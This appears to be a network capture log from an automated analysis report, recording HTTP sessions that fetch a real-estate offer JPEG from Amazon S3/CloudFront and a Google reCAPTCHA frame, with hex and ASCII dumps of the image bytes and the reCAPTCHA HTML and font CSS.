2024-04-25 13:30:10 UTC	953	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Length: 336576 Connection: close x-amz-id-2: nhuhiW+usOAYLvTHlyUdBNqsQwqX05vN9pGout+3jLzk93ID9NiTs+hKWChtGWaGI9Ebj3XihCM= x-amz-request-id: PDTWPZS180NBVX6N Date: Thu, 25 Apr 2024 13:30:11 GMT Last-Modified: Wed, 24 Apr 2024 13:07:45 GMT ETag: "f85810b41ccfd17e24084686ff76533f" x-amz-server-side-encryption: aws:kms x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:us-east-1:359876452365:key/9cd98b6e-a093-42c0-abd9-7a1db4f84494 x-amz-server-side-encryption-bucket-key-enabled: true Content-Disposition: inline; filename="Pages from 7953 Cedar Drive Offer%5B83%5D.jpg"; filename*=UTF-8''Pages%20from%207953%20Cedar%20Drive%20Offer%5B83%5D.jpg Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 27cf100658e9904318147ebbc703198e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P4 X-Amz-Cf-Id: Uh9Pq6VRoy2jwyaA2DFj_tKBqQj--qzJ01qd7pm5cMcp9J4VMKaggA==
2024-04-25 13:30:10 UTC	7345	IN	Data Raw: ff d8 ff e1 00 56 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 00 00 00 00 00 00 00 c8 00 00 00 01 00 00 00 c8 00 00 00 01 ff e0 00 10 4a 46 49 46 00 01 01 01 00 c8 00 c8 00 00 ff e2 01 d8 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: VExifMM*>F(JFIFICC_PROFILE0mntrRGB XYZ acsp-
2024-04-25 13:30:10 UTC	16384	IN	Data Raw: 85 d1 61 6e 7c de a9 a8 ef 27 ac 7e df ca dd d7 95 5f 0f e9 59 b1 30 e4 c1 b8 24 d7 3d 23 1e ff 00 e9 6e 0f fc 7e 5f d2 d3 ac 2c c9 ad 33 c7 d5 9f 68 af 9e 11 c7 3e 5f 3f e4 8b 5b 4e df 1e 7e e9 c2 81 a3 db 3c 07 58 32 eb 57 e2 8c 66 26 3d ff 00 c7 35 7b b8 89 df 3b 74 cc 4f d1 75 b6 16 0a 90 c9 ea 95 3a d5 3b c9 eb 11 f4 fe 48 b7 89 e5 54 fa c7 f4 bc db 2b 41 ac a5 b2 7d d9 a8 aa ac f8 c6 db c7 4f bf 76 cd 22 99 9e 93 1e b1 b7 df ba 59 30 e1 01 51 2d 58 6c d5 f1 9f ce ab 70 c4 4c 67 11 b4 ed 13 33 33 b7 bb e1 10 c8 02 42 43 24 5f 11 31 11 ca 3c 3f 6f 8f 37 a8 91 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Data Ascii: an\|'~_Y0$=#n~_,3h>_?[N~<X2Wf&=5{;tOu:;HT+A}Ov"Y0Q-XlpLg33BC$_1<?o7
2024-04-25 13:30:10 UTC	1024	IN	Data Raw: d4 65 86 1d 9c 42 08 d8 b6 9b 31 38 8a 53 21 c0 48 f0 ec 9c d0 5a 65 a6 ce 08 33 6c e6 2a 64 25 dd df c1 06 d3 a2 b4 8c 16 b8 00 e1 80 13 a6 00 ce 93 96 35 a9 d7 d4 83 a4 68 eb 7c 37 b4 7a c2 44 01 39 e5 90 d8 35 7c 73 09 48 b1 18 59 32 44 a4 75 1a 91 4f 26 54 c5 07 3e d3 91 e1 31 ae a8 cf 54 8c f5 ee db ad 07 2a d2 36 f8 01 ee a8 c4 e0 46 da 75 70 da 82 15 96 cb 3b 9d 33 2d fa b8 8d 5e 70 41 3d 66 d2 96 78 0d 06 6d 14 c6 60 79 1e 6a 10 65 1b cd 01 84 80 f6 ee 2e 9c 8f 57 9e f2 16 db a7 a1 46 a7 3c 63 29 4c 52 7b 86 ad bd 78 a0 bb f5 a8 51 66 4c b0 a6 15 f8 ef 41 62 24 58 2d 06 72 95 0e 5a f5 cb e1 e2 81 02 dd 01 af ca 59 d3 f6 eb e1 9a 0d bf 47 5b e0 39 a0 4d b9 57 ba 74 e1 f1 41 b3 b2 3c 12 c0 71 32 d9 8e d9 84 1a f6 92 b5 42 60 71 98 14 3b 36 eb f2 38 Data Ascii: eB18S!HZe3ld%5h\|7zD95\|sHY2DuO&T>1T6Fup;3-^pA=fxm`yje.WF<c)LR{xQfLAb$X-rZYG[9MWtA<q2B`q;68
2024-04-25 13:30:10 UTC	16384	IN	Data Raw: 03 8c 9b 81 a0 95 65 3e c3 fb cf 14 1a 1d bf a1 82 f7 50 6a 22 94 a6 1e 46 34 9a 0c 5b 25 b2 00 78 04 89 0a 62 26 3d 6e cf 8f 62 0d e7 46 da ac ce 22 7c d3 39 6c a6 df db 8a 0d c6 cc cb 3c 41 96 13 cb 39 76 fc 24 82 4d 96 58 19 00 36 eb db a8 1e d4 17 3a 48 10 06 23 7d 05 25 8f 67 76 08 2c 45 d2 f0 18 25 ce 68 90 96 35 23 09 ee ec 21 04 35 a7 4c 59 de 08 2e 19 62 70 dd 3c fe 1b 90 45 3b 48 d9 4b 8d 41 33 3a 8a 0c d8 3a 4e ce c0 2a 28 75 8c 69 e6 7d 88 26 60 69 a8 06 43 9c 08 26 42 b4 9c bc eb 96 08 33 5f 6a 81 1d bf 94 cc 4a 73 12 d9 3f 19 fc 50 41 5b 20 40 20 cc 0a ee d6 7c 89 d7 62 0d 42 da db 3c 32 fc 07 c8 f6 9f 32 41 0d d2 d9 c3 a5 4e cc 67 86 fe cd 93 41 33 62 b5 c0 61 6c 8b 44 8c c6 b9 0f 0c f1 ec 28 36 98 3a 66 03 1a d1 ce 6d 05 7d 60 09 a6 52 df Data Ascii: e>Pj"F4[%xb&=nbF"\|9l<A9v$MX6:H#}%gv,E%h5#!5LY.bp<E;HKA3::N*(ui}&`iC&B3_jJs?PA[ @ \|bB<22ANgA3balD(6:fm}`R
2024-04-25 13:30:10 UTC	16384	IN	Data Raw: fb 56 d0 d2 66 99 8f db 66 75 41 8a 2f 64 2e 74 ba 46 6f 1c 75 a0 92 b3 5e 48 4f c2 26 39 4c 4f 29 8d 5d db f5 04 e4 2d 32 c7 30 1e 78 32 d4 47 88 ae b9 77 a0 a9 da 65 8d 13 2f d7 98 cb ac a0 8b 8f 78 a1 32 63 a4 03 33 5a e3 94 e7 b3 5e 35 41 1a eb d3 06 72 e9 45 1d ac 60 27 da 83 22 1d e6 86 e2 0f 48 de a2 35 57 b0 ee 41 25 0a f0 42 70 fe 28 04 ed 15 c7 e0 82 ef db d0 ff 00 9a 3b 10 5e 66 99 63 ff 00 3c ce f1 dd e4 a0 c9 3a 55 81 bf 8c 4c 63 84 f3 f3 42 48 41 19 6c d3 b0 a1 0a c4 1b e6 32 eb f9 8c e7 82 0d 52 d7 7b a0 b1 c4 74 ad c4 8c 70 91 c7 ac e5 9d 10 62 42 bd f0 a2 3a 5d 23 44 b5 11 c2 73 f9 f7 10 d8 6c 97 86 1c 40 25 10 56 52 a8 db d7 8f 56 52 d6 12 e7 4d 43 91 3d 26 53 c6 9d e8 23 63 de 18 60 ff 00 10 62 33 03 23 ac 79 de 83 05 d7 8d 86 86 20 a1 Data Ascii: VffuA/d.tFou^HO&9LO)]-20x2Gwe/x2c3Z^5ArE`'"H5WA%Bp(;^fc<:ULcBHAl2R{tpbB:]#Dsl@%VRVRMC=&S#c`b3#y
2024-04-25 13:30:10 UTC	1024	IN	Data Raw: 00 67 33 af f7 e3 54 1a fd b2 cf 6c 33 90 76 3b 7c e6 36 6b 99 a2 08 a1 66 b6 07 1f c5 2a e6 68 67 b8 a0 96 b2 43 b5 b5 d2 3c f1 80 15 38 79 9d 07 0c 50 6f 1a 2a 15 a2 6d 9f 38 61 5a fc b8 20 de ec d6 68 ee 86 28 e0 77 1c 37 79 08 23 ed f6 58 e1 ae 90 75 3b 8f 67 1a 1c 8e 48 35 e6 40 b4 b6 2c cf 38 d7 09 6b 33 18 d1 06 ef a3 1b 18 30 02 1d 3a 01 88 ce a3 ce dd c8 33 2d ad 8b cd a7 38 19 11 3d be 39 4d 06 8d a4 61 47 99 94 e7 80 c7 c3 89 c7 14 1a 9d b2 0d a7 9a e9 03 41 8e a9 9c 30 a6 3a b5 ea 41 a0 e9 3b 2d b5 c5 fe ab a7 39 e7 5f 90 19 65 b5 04 6d 8e cb 6d 11 1a 08 71 ae 35 f3 4c 32 ca ba 83 a0 68 d8 76 a6 89 1e 76 02 55 34 1d 87 0f 9d 10 67 5a c5 ab a3 20 17 60 73 38 f8 6e 41 a3 5b e1 db 5c ec 1d 29 cf 3d de 76 20 8f 81 66 b6 88 80 c9 c7 71 3e 1e 76 66 Data Ascii: g3Tl3v;\|6kfhgC<8yPom8aZ h(w7y#Xu;gH5@,8k30:3-8=9MaGA0:A;-9_emmq5L2hvvU4gZ `s8nA[\)=v fq>vf
2024-04-25 13:30:10 UTC	16384	IN	Data Raw: 23 8c fb 75 76 84 1c a6 d7 a3 ad 6c 88 e2 39 f8 e0 27 2a 6a df a9 06 3b 6c f6 c6 b4 7e 21 d6 6b ba 92 a2 0a 9b 0e d7 ce 03 d7 98 3a ce ef 8a 0d eb 40 c0 b5 12 ce 70 76 5a f5 fe d8 56 7a a8 83 b1 e8 b8 31 c3 1b 39 99 48 9c 44 a9 c7 64 b6 55 06 3e 9a 11 db 09 e4 73 bf 09 a0 98 f2 68 75 f5 cd 07 cf f7 a6 d3 6b 63 e2 00 5e 25 39 54 f0 de 35 e5 8a 0e 53 69 b7 db 43 cc 9c fa 1d 64 56 53 e3 ab 3c 7a 82 f5 9a df 6d 76 6f 33 a5 49 26 92 ed a9 41 b4 d8 1f 6d 89 cd 12 79 99 91 a9 e3 b3 bf 5a 0d ae 0c 0b 5b 80 9f 3f 54 8c f5 e7 e1 dc 02 09 bb 0d 8a d2 5c 09 e7 1c 70 06 59 e5 29 6d 13 e2 64 83 74 b0 d8 63 f3 44 c1 99 95 73 95 3b 7c 29 34 12 91 2c 31 cb 27 23 85 0c 8e 38 4b a9 06 91 a6 2c 76 96 f3 c8 e7 76 d0 80 64 76 d2 bc 70 c1 07 3f b6 c3 b5 b4 ba 5c fd 59 e3 51 e7 Data Ascii: #uvl9'*j;l~!k:@pvZVz19HDdU>shukc^%9T5SiCdVS<zmvo3I&AmyZ[?T\pY)mdtcDs;\|)4,1'#8K,vvdvp?\YQ
2024-04-25 13:30:10 UTC	16384	IN	Data Raw: b0 e9 ab 63 88 1c e7 63 3c f6 53 a8 e2 83 76 d1 da 4a d2 e0 03 9c ea d4 54 cb 5d 36 01 2e dc 90 4c fd 62 d0 f1 52 ea cb 5e c9 20 91 b0 0b 43 9f 99 ca b3 d7 af 5f 5e 19 20 dc ec ac 8e d6 82 43 b0 ed cf 8d 3e 35 92 0b 1a 46 24 66 42 24 17 02 1b 39 56 5d 88 38 a5 e7 b7 da 58 22 48 ba 55 19 cf ab 8d 68 36 6c 0e 37 6e d2 f6 d6 c6 32 73 c8 99 ad 65 c7 3d 9b 33 41 97 61 d3 16 c9 b7 d7 76 5a f0 9e 7c 64 35 94 1b 74 0d 33 6b 95 4b a7 21 59 91 ae 48 30 6d da 6e d8 09 f5 9f 5a e7 ab 0e bc 10 45 c3 d3 76 c2 f2 79 cf fc 47 5c e9 5c 7b 38 20 96 81 a6 2d 64 03 cf 74 f3 a9 a4 f3 da 25 2f 04 1b 05 83 4b da da e1 ce 7b 88 a1 02 bb 25 3a 53 c5 06 e3 66 d3 b1 da ca b9 c2 6d 96 73 9e dd 79 6c ed 28 21 74 c6 9e b5 18 6f 0d 7b 89 02 92 27 cf 6a 0e 29 79 34 d5 ba 6f 21 cf ac e8 Data Ascii: cc<SvJT]6.LbR^ C_^ C>5F$fB$9V]8X"HUh6l7n2se=3AavZ\|d5t3kK!YH0mnZEvyG\\{8 -dt%/K{%:Sfmsyl(!to{'j)y4o!
2024-04-25 13:30:10 UTC	3072	IN	Data Raw: 1d 85 05 42 e4 be 53 e8 89 dc d2 47 6c d0 54 2e 5b f2 83 3f f4 f8 49 07 a6 e5 3c 89 18 27 f4 94 18 d1 2e 2b 8c fd 91 fd 26 78 66 25 86 c4 18 6f b8 2f 35 e8 8f 02 29 c3 b3 82 0b d6 6b 8c e8 6e 07 a1 34 9f e5 33 cb 75 3f 61 34 1b 96 8d bb 71 2c e5 b2 86 44 a5 29 0a d3 2f 3f 1a 86 f3 65 b1 46 86 d0 d2 25 84 81 9e ac fb 32 eb a2 0b 16 ed 1f 1a 33 4b 79 84 82 24 68 49 13 e1 b2 5a e9 82 0d 07 48 dd 48 b6 82 e9 c2 35 38 4b 2d fd db 37 a0 d6 9f 71 1e 5d 3e 88 99 7f 49 97 60 ae cf 19 a0 b8 cb 8c f1 fe 15 76 b7 ba 62 7e 77 a0 c8 17 25 e3 fc 13 fa 3b a6 0c 90 0d c8 79 12 30 4f e8 f9 20 c7 8b 71 1e e6 9f 62 4e af 54 ea dd 2f 21 06 a1 a5 79 39 7c 40 e1 d0 4c 91 9b 35 ed 96 aa ec 41 a0 5a f9 2d 79 88 5d f5 77 19 ff 00 49 18 d7 29 76 8f 8a 0c fd 19 c9 a4 48 64 4e 01 a4 Data Ascii: BSGlT.[?I<'.+&xf%o/5)kn43u?a4q,D)/?eF%23Ky$hIZHH58K-7q]>I`vb~w%;y0O qbNT/!y9\|@L5AZ-y]wI)vHdN
2024-04-25 13:30:10 UTC	16384	IN	Data Raw: 9c 7f 16 12 f3 e4 03 20 dc 2c 76 c8 31 00 24 e2 7b 33 98 ca 7f b2 09 53 12 04 a7 31 3f f3 7c 3e 65 04 5d aa df 67 85 f9 9a 32 91 3b 3c e2 29 54 10 af d2 f6 6e 71 f5 db 96 63 56 f4 01 a5 20 19 49 cd ae d1 e3 3e c4 1e 9d 27 00 7e 76 71 f1 28 28 3a 5a ce dc 5c 38 cf b8 94 16 4e 9b b3 e1 ce 68 dd 33 db 3e e4 18 b1 34 e5 9c 03 eb b7 1d ba f1 c6 bd 52 c6 68 30 dd a7 ac e4 d1 c0 71 f8 1f 89 41 75 9a 6e cf 42 5e 2b b4 d3 6c e7 d9 d5 8a 0c a6 e9 bb 30 94 dc 37 d4 1e d3 e0 82 ef db 56 7f e6 76 9f 14 17 59 a6 2c c4 7e 21 4c c9 c7 1d 65 05 df b5 60 7b cd e2 3c 50 54 cd 2b 03 9c 3d 66 f1 6f 8f 9d c8 26 6c 96 c8 11 24 26 0d 04 88 3a fe 33 ee 96 68 37 2b 04 18 51 79 80 54 1c 65 86 13 03 0f 3d 68 36 68 3a 36 1b 84 f9 b8 e1 29 4e 9b 3f 73 da 82 e7 d9 30 7f 96 78 04 03 a2 Data Ascii: ,v1${3S1?\|>e]g2;<)TnqcV I>'~vq((:Z\8Nh3>4Rh0qAunB^+l07VvY,~!Le`{<PT+=fo&l$&:3h7+QyTe=h6h:6)N?s0x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49721	172.253.124.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:10 UTC	940	OUT	GET /recaptcha/api2/anchor?ar=1&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw&co=aHR0cHM6Ly9hcHAucm9ibHkuY29tOjQ0Mw..&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=invisible&cb=p8li93kl222n HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:10 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Apr 2024 13:30:10 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-uLS6Zki4sTAUxYOFynMk0A' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-25 13:30:10 UTC	364	IN	Data Raw: 32 61 64 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2adc<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 75 4c 53 36 5a 6b 69 34 73 54 41 55 78 59 4f 46 79 6e 4d 6b 30 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="uLS6Zki4sTAUxYOFynMk0A" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
